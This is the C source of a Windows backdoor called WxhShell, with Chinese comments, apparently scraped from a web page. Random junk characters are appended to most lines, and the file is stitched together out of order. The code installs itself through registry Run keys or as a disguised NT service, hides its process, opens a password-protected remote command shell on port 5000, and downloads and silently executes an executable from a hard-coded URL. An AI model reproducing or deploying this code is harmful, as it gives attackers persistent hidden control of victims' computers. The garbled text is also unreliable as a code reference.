ULONG UniqueProcessId; bJ9*z~z)e
ULONG InheritedFromUniqueProcessId; 9
!UNO
} PROCESS_BASIC_INFORMATION; WrRY3X
a[z$ae7
PROCNTQSIP NtQueryInformationProcess; EbX!;z
Ahbh,U
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N(yd<Mw
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z'uiU e`&
0WKS
HANDLE hProcess; }kItVx
PROCESS_BASIC_INFORMATION pbi; L<iRqayn
0y/31hp
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9LBZMQ
if(NULL == hInst ) return 0; @^ti*`
h 6IXD N
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OAiv3"p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hosY`"X
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .}Xf<G&
mvTp,^1
if (!NtQueryInformationProcess) return 0; Ac*J;fI
$%'3w~h`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <Uj9~yVN]
if(!hProcess) return 0; }(XKy!G6
9iM%kY#)W
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >KdV]!H
.L"IG=Uh#
CloseHandle(hProcess); W[j,QU
P7Qel ,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 34N~<-9AY
if(hProcess==NULL) return 0; VlL%dN;
0
< FO=PM
HMODULE hMod; ^Mc9MZ)
char procName[255]; y5O &9Ckw
unsigned long cbNeeded; ; Ad5Jk
WK7?~R%rq
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %.$7-+:7A
s0D4K
CloseHandle(hProcess); B@6L<oZ
YOrq)_ l
if(strstr(procName,"services")) return 1; // 以服务启动 { %]imf|g.
idX''%"
return 0; // 注册表启动 p nI=
} $6D*G-*8
nu-&vX
// 主模块 |Nj6RB7
int StartWxhshell(LPSTR lpCmdLine) b l+g7 g;
{ J,u-)9yBA<
SOCKET wsl; Ov?J"B'F
BOOL val=TRUE;
rJCb8x+5a
int port=0; vW vu&3tx
struct sockaddr_in door; qnj'*]ysBC
A%$~
if(wscfg.ws_autoins) Install(); $YcB=l
+0UBP7kn
port=atoi(lpCmdLine); xb9+- {<J
T:m"
eD;
if(port<=0) port=wscfg.ws_port; PRTjXq6)5
/"j3B\`?
WSADATA data; <.gDg?'3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F N=WU<
5
|C<#M<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3+h3?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z
f\~Cl
door.sin_family = AF_INET; ]SRpMZ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); foQo`}"5
door.sin_port = htons(port); q^EY?;Y
,bdjk(
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9_O4yTL
closesocket(wsl); 3Ioe#*5\
return 1; 1nskf*Z
} 1d]F$>
-YKy"
if(listen(wsl,2) == INVALID_SOCKET) { /kkUEo+
closesocket(wsl); ZCPUNtOl
return 1; oR=i5lAU
} `a|&aj0
Wxhshell(wsl); :\His{%
WSACleanup(); TxP+?1t
N6}/TbfAR
return 0; H%>4z3n
!#O[RS
} G,|!&=Pe|E
U"p</Q
// 以NT服务方式启动 &.*UVc2+Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rxd4{L
)n
{ F1L[3D^-
DWORD status = 0; ~RuX2u-2&u
DWORD specificError = 0xfffffff; 4r1\&sI$~
i!?gga
serviceStatus.dwServiceType = SERVICE_WIN32; 71c[`h*0{
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8aP/vToa
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vCaN [
serviceStatus.dwWin32ExitCode = 0; ~dRstH7u
serviceStatus.dwServiceSpecificExitCode = 0; H,X|-B
serviceStatus.dwCheckPoint = 0; IL %]4,
serviceStatus.dwWaitHint = 0; 6&eXQl
GYaP"3Lu
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P6 OnE18n
if (hServiceStatusHandle==0) return; 2Kz+COP+
]19VEH
status = GetLastError(); +&`W\?.~
if (status!=NO_ERROR) YS9RfK/
{ EX`P(=zD
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;Y`Y1
serviceStatus.dwCheckPoint = 0; G-Tmk7m
serviceStatus.dwWaitHint = 0; St-uE|8
serviceStatus.dwWin32ExitCode = status; mUh]`/MK$
serviceStatus.dwServiceSpecificExitCode = specificError; { :tO
RF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ump~)?_B
return; LSJ?;Zg(=z
} kW g.-$pp
-Ks>s
serviceStatus.dwCurrentState = SERVICE_RUNNING; c[dzO.~
serviceStatus.dwCheckPoint = 0; f
V. c6
serviceStatus.dwWaitHint = 0; WVbrbs4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -1g:3'%
P
} 8vY-bm,e
}~XWtWbd-
// 处理NT服务事件,比如:启动、停止 ^"/^)Lb!@M
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~f1g"
{ bV_nYpo
switch(fdwControl)
Pd*[i7zhC
{ N6Ud(8*
case SERVICE_CONTROL_STOP: !Lf<hS^
serviceStatus.dwWin32ExitCode = 0; Z'JS@dV
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1sQIfX#2f
serviceStatus.dwCheckPoint = 0; xAQtX=FoX+
serviceStatus.dwWaitHint = 0; t;&XIG~
{ W(s4R,j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iq(PC3e`V
} |"3<\$[
return; _!\d?]Ya
case SERVICE_CONTROL_PAUSE: HGDrH
serviceStatus.dwCurrentState = SERVICE_PAUSED; #<im?
break; Ej(Jj\
case SERVICE_CONTROL_CONTINUE: UNdD2Fd9
serviceStatus.dwCurrentState = SERVICE_RUNNING; %@/^UE:
break; _kj]vbG^;
case SERVICE_CONTROL_INTERROGATE: XIeLu"TSL
break; RLB3 -=9t
}; FK|O^->B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+1wi4wy/
} _u`YjzK
> VG
// 标准应用程序主函数 'y8{,R4C
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EdJL&*
{ <j'V}|3
b'H'QY
// 获取操作系统版本 vJkc/7
OsIsNt=GetOsVer(); &|>+LP@8
GetModuleFileName(NULL,ExeFile,MAX_PATH); )*,/L <
xvr5$x|h
// 从命令行安装 <qCa9@Ea
if(strpbrk(lpCmdLine,"iI")) Install(); BT$p~XB
$`=p]
// 下载执行文件
--$o$EP`
if(wscfg.ws_downexe) { fV(3RG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I$n=>s
WinExec(wscfg.ws_filenam,SW_HIDE); jcH@*c=%e
} 8sG3<$Z^
j]a$RC#
if(!OsIsNt) { THA9OXP
// 如果时win9x,隐藏进程并且设置为注册表启动 v\0 G`&^1
HideProc(); Q M,!-~t
StartWxhshell(lpCmdLine); \u3\ TJ
} wucdXj{%
else 4JSPD#%f
if(StartFromService()) |m19fg3u
// 以服务方式启动 p|4qkJK8
StartServiceCtrlDispatcher(DispatchTable); (}"D x3K
else "}]`64?
// 普通方式启动 73WSW/^F
StartWxhshell(lpCmdLine); &v\F ah U
.b:!qUE^
return 0; ~,'{\jDrS
} t<%0eu|
wN2+3LY{
;`9f<d#\
Nz{dnV{&x;
=========================================== s>rR\`
QaX.Av
aM^iDJ$>
] m]`J|%i
'X~tt#T
z*Sm5i&)_q
" v1h(_NLI!
~Eut_d
#include <stdio.h> e_BG%+;G,
#include <string.h> yI w}n67
#include <windows.h> B.<SC
#include <winsock2.h> ]!UYl
#include <winsvc.h> A 'qe2]
#include <urlmon.h> HN47/]"*
.@dC]$2=
#pragma comment (lib, "Ws2_32.lib") ;'!x
#pragma comment (lib, "urlmon.lib") &9k~\;x
;%|im?
#define MAX_USER 100 // 最大客户端连接数 (su,=Z
#define BUF_SOCK 200 // sock buffer MsB>3
#define KEY_BUFF 255 // 输入 buffer Re%[t9F&
UuG%5 ZC
#define REBOOT 0 // 重启 6|97;@94
#define SHUTDOWN 1 // 关机 +^I0>\
vwR_2u
#define DEF_PORT 5000 // 监听端口 CjdM*#9lW
ROO*/OOd
#define REG_LEN 16 // 注册表键长度 w+o5iPLX
#define SVC_LEN 80 // NT服务名长度 f^%3zWp|-
M8^ID #
// 从dll定义API QxT'\7f
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M,Gy.ivz
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hW7u#PY
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pP\Cwo #,
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 01bCP
0'q4=!l
// wxhshell配置信息 >Wg=
Tuef
struct WSCFG { :cpj{v;s
int ws_port; // 监听端口 AbU`wr/h 4
char ws_passstr[REG_LEN]; // 口令 zal]t$z>
int ws_autoins; // 安装标记, 1=yes 0=no dQX-s=XJ
char ws_regname[REG_LEN]; // 注册表键名 I#l}5e5
char ws_svcname[REG_LEN]; // 服务名 uH_KOiF
char ws_svcdisp[SVC_LEN]; // 服务显示名 OqGp|`
char ws_svcdesc[SVC_LEN]; // 服务描述信息 a[{qb
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [V}vd@*k
int ws_downexe; // 下载执行标记, 1=yes 0=no .=y=Fv6X
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /%$Zm^8c
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8jK=A2pTa
ET*A0rt
}; h yrPu_
x07 =
// default Wxhshell configuration cS&KD@.
struct WSCFG wscfg={DEF_PORT, VO#rJ1J
"xuhuanlingzhe", o.s'0xP]
1, f5}afPk
"Wxhshell", BRFsw`c
"Wxhshell", @kXuC<
"WxhShell Service", +'H[4g`
"Wrsky Windows CmdShell Service", N$=YL
@m8
"Please Input Your Password: ", N=mvr&arP
1, :kZ]Swi 5
"http://www.wrsky.com/wxhshell.exe", g
pciv
"Wxhshell.exe" cGot0' mB
}; 3}L3n*Ft#.
Ff<cY%t
// 消息定义模块 92-Xz6Bo9
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e\)%<G5
char *msg_ws_prompt="\n\r? for help\n\r#>"; U$:^^Zt`B
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O:]']' /
char *msg_ws_ext="\n\rExit."; lp*5;Ls'q
char *msg_ws_end="\n\rQuit."; QPy h.9:N
char *msg_ws_boot="\n\rReboot..."; L1IF$eC
char *msg_ws_poff="\n\rShutdown..."; >WHajYO"
char *msg_ws_down="\n\rSave to "; 81RuNs]
;QZG<
char *msg_ws_err="\n\rErr!"; j;$f[@0o
char *msg_ws_ok="\n\rOK!"; bbL\ xq^
^C gg1e1
char ExeFile[MAX_PATH]; %6ckau1_;
int nUser = 0; 4DIU7#GG
HANDLE handles[MAX_USER]; k_g@4x1y*
int OsIsNt; b~;:[ #
x1=`Z@^
SERVICE_STATUS serviceStatus; e.\>GwM
SERVICE_STATUS_HANDLE hServiceStatusHandle; pI@71~|R
^%oH LsY9
// 函数声明
u7!gF&tA
int Install(void); su0K#*P&I
int Uninstall(void); |\bNFnn(
int DownloadFile(char *sURL, SOCKET wsh); Y]
1U108
int Boot(int flag); e_-g|ukC
void HideProc(void); mbAzn
int GetOsVer(void); n%r>W^2j
int Wxhshell(SOCKET wsl); e{6wFN
void TalkWithClient(void *cs); s.(.OXD&
int CmdShell(SOCKET sock); E2Sj IR}
int StartFromService(void); hn .(pI1
int StartWxhshell(LPSTR lpCmdLine); X8}r= K~
->#wDL!6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tp ;W
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uNewWtUb(
kr$)nf
// 数据结构和表定义 [KUkv
SERVICE_TABLE_ENTRY DispatchTable[] = 5ncW
s)
{ P]"@3Z&w
{wscfg.ws_svcname, NTServiceMain}, iBWzxPv:z
{NULL, NULL} *wAX&+);
}; 4=MVn
czw:xG!&
// 自我安装 f*@
:,4@
int Install(void) D~inR3(}
{ [,&g46x22
char svExeFile[MAX_PATH]; %X\J%Fj
HKEY key; xb7!!PR
strcpy(svExeFile,ExeFile); !/`AM<`o
"eoPG#]&
// 如果是win9x系统,修改注册表设为自启动 ks$5$,^T2o
if(!OsIsNt) { H!NGY]z*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 06NiH-0O
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h-.^*=]R6
RegCloseKey(key); +%CXc%
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W)`>'X`
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OL=X&Vaf<
RegCloseKey(key); 6n:X
p_yO
return 0; uP7|#>1%
} 7|Vpk&.>
} %AV3eqghCg
} [:,|g;=Y}
else { 9[t-W:3c7
jKP75jm
// 如果是NT以上系统,安装为系统服务 w8>lWgN
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?@A@;`0Y
if (schSCManager!=0) =PU@'OG
{ 6o#J
SC_HANDLE schService = CreateService wPyc?:|KD?
( ,:.8s>+i
schSCManager, xR'd}>`
wscfg.ws_svcname, r& RJ'z
wscfg.ws_svcdisp, aSm</@tO&
SERVICE_ALL_ACCESS, YC{7;=Pf
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jx3a7CpX
SERVICE_AUTO_START, 9(&$Gwi
SERVICE_ERROR_NORMAL, L7II>^"B
svExeFile, xZAg
NULL, s5b<KQ.
NULL, 4J[bh
NULL, oOQan
NULL, kSJ:4! lFU
NULL .GnoK?
); */]1?M@P)
if (schService!=0) ;?o"{mbb
{ OOsd*nX/
CloseServiceHandle(schService); y9:o];/
CloseServiceHandle(schSCManager); /Wjf"dG}
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '?|.#D#-c
strcat(svExeFile,wscfg.ws_svcname); ?$7$ # DX
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tq6@
1j6p
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BD ,3JDqT
RegCloseKey(key); `Q^Vm3h
return 0; {.,y v>%
} [s!c c:JR
} [yAR%]i-7
CloseServiceHandle(schSCManager); }>Lz\.Z/+[
} la!rg#)-X
} g.EKdvY"%H
Lj3q?>D*^6
return 1; K)oN^
} ,wra f#UdP
ffQ&1T<
// 自我卸载 !91<K{#A{
int Uninstall(void)
s@3<]
{ Kib?JRYt
HKEY key; f1VA61z{)
r(=3yd/G$
if(!OsIsNt) { -aMwC5iR@
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \-s'H:
RegDeleteValue(key,wscfg.ws_regname); M8lR#2n|
RegCloseKey(key); _bq2h%G=8
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z3}4+~~
RegDeleteValue(key,wscfg.ws_regname); )6zwprH!
RegCloseKey(key); 4fzM%ku
return 0; e.g$|C^$m
} >^Z!
} 80M4~'3
} k}Vu!+c z
else { kjW`k?'s
aKCXV[PO
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )6mv7M{
if (schSCManager!=0) mY1$N}8fm
{ ]HP
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .es= w=
if (schService!=0) p>p=nL K
{ _zO,VL
if(DeleteService(schService)!=0) { Xl%&hM
CloseServiceHandle(schService); oM-@B'TK
CloseServiceHandle(schSCManager); %lPFq-
return 0; ]urcA,a
} |3g:q
CloseServiceHandle(schService); i_&&7.
} 7<?v!vQ}-
CloseServiceHandle(schSCManager); Z,,Wo
%)o
}
FyQ^@@
} 'bg%9}
Efw/bTEg
return 1; S*CRVs
} fD|ox
W"WvkW>-
// 从指定url下载文件 66%kq[
int DownloadFile(char *sURL, SOCKET wsh) _W*3FH
{ sM~|}|p
HRESULT hr; rq6(^I
char seps[]= "/"; i@_|18F]`
char *token; s\Cl3
char *file; J74nAC%J^
char myURL[MAX_PATH]; J]|-.Wv1
char myFILE[MAX_PATH]; /gHRJ$2|Sx
-]PW\}w1
strcpy(myURL,sURL); c-avX
token=strtok(myURL,seps); G(4:yK0
while(token!=NULL) A0WQZt!FEN
{ 7IZ(3B<87t
file=token; fi#o>tVyJ
token=strtok(NULL,seps); 12E@9s$Z
} '&T4ryq3"
F{f "xM
GetCurrentDirectory(MAX_PATH,myFILE); )CXJRo`j0
strcat(myFILE, "\\"); r0j:ll d
strcat(myFILE, file); S3j/(BG
send(wsh,myFILE,strlen(myFILE),0); !Nl"y'B|
send(wsh,"...",3,0); JVTG3:zD
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1p9f& w
if(hr==S_OK) WE`Y!
return 0; F=^vu7rf
else O*yc8fUI
return 1; OBN]bvCJ
[N#2uo
} C2eei're
9[6*FAFJPP
// 系统电源模块 8 s:sMU:Q
int Boot(int flag) lcIX
l&